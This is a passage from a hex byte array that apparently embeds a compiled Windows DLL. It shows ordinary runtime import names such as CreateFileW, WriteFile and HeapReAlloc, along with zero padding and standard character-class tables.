0x6c, 0x65, 0x00, 0x00, 0x5a, 0x03, - 0x48, 0x65, 0x61, 0x70, 0x53, 0x69, 0x7a, 0x65, 0x00, 0x00, 0x58, 0x03, - 0x48, 0x65, 0x61, 0x70, 0x52, 0x65, 0x41, 0x6c, 0x6c, 0x6f, 0x63, 0x00, - 0xa8, 0x01, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x46, 0x69, 0x6c, 0x65, 0x42, - 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x00, 0x00, 0x25, 0x06, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x00, 0x09, 0x02, 0x47, 0x65, - 0x74, 0x43, 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x65, 0x4f, 0x75, 0x74, 0x70, - 0x75, 0x74, 0x43, 0x50, 0x00, 0x00, 0x05, 0x02, 0x47, 0x65, 0x74, 0x43, - 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x65, 0x4d, 0x6f, 0x64, 0x65, 0x00, 0x00, - 0x89, 0x00, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x48, 0x61, 0x6e, 0x64, 0x6c, - 0x65, 0x00, 0xce, 0x00, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x46, 0x69, - 0x6c, 0x65, 0x57, 0x00, 0x24, 0x06, 0x57, 0x72, 0x69, 0x74, 0x65, 0x43, - 0x6f, 0x6e, 0x73, 0x6f, 0x6c, 0x65, 0x57, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcd, 0x5d, 0x20, 0xd2, - 0x66, 0xd4, 0xff, 0xff, 0x32, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 0x00, - 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x2f, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x0c, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x20, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x20, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x70, 0x48, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0xd2, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd8, 0xd2, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x30, 0xd8, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf0, 0x4a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x70, 0x4c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x40, 0x3b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x70, 0xd1, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0xd2, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, - 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, - 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x62, - 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, - 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, - 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, - 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, - 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, - 0x10, 0x10, 0x10, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x61, 0x62, 0x63, - 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, - 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, - 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, - 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x04, 0x08, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa4, 0x03, 0x00, 0x00, 0x60, 0x82, 0x79, 0x82, 0x21, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa6, 0xdf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa1, 0xa5, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x9f, 0xe0, 0xfc, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x7e, 0x80, 0xfc, 0x00, 0x00, 0x00, 0x00, - 0xa8, 0x03, 0x00, 0x00, 0xc1, 0xa3, 0xda, 0xa3, 0x20, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xfe, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb5, 0x03, 0x00, 0x00, 0xc1, 0xa3, 0xda, 0xa3, 0x20, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xfe, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x41, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb6, 0x03, 0x00, 0x00, 0xcf, 0xa2, 0xe4, 0xa2, 0x1a, 0x00, 0xe5, 0xa2, - 0xe8, 0xa2, 0x5b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xfe, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x7e, 0xa1, 0xfe, 0x00, 0x00, 0x00, 0x00, - 0x51, 0x05, 0x00, 0x00, 0x51, 0xda, 0x5e, 0xda, 0x20, 0x00, 0x5f, 0xda, - 0x6a, 0xda, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xd3, 0xd8, 0xde, - 0xe0, 0xf9, 0x00, 0x00, 0x31, 0x7e, 0x81, 0xfe, 0x00, 0x00, 0x00, 0x00, - 0xfe, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc8, 0xd8, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd4, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0xcc, 0xd8, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd8, 0xec, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x2e, 0x00, 0x00, 0x00, 0x2e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 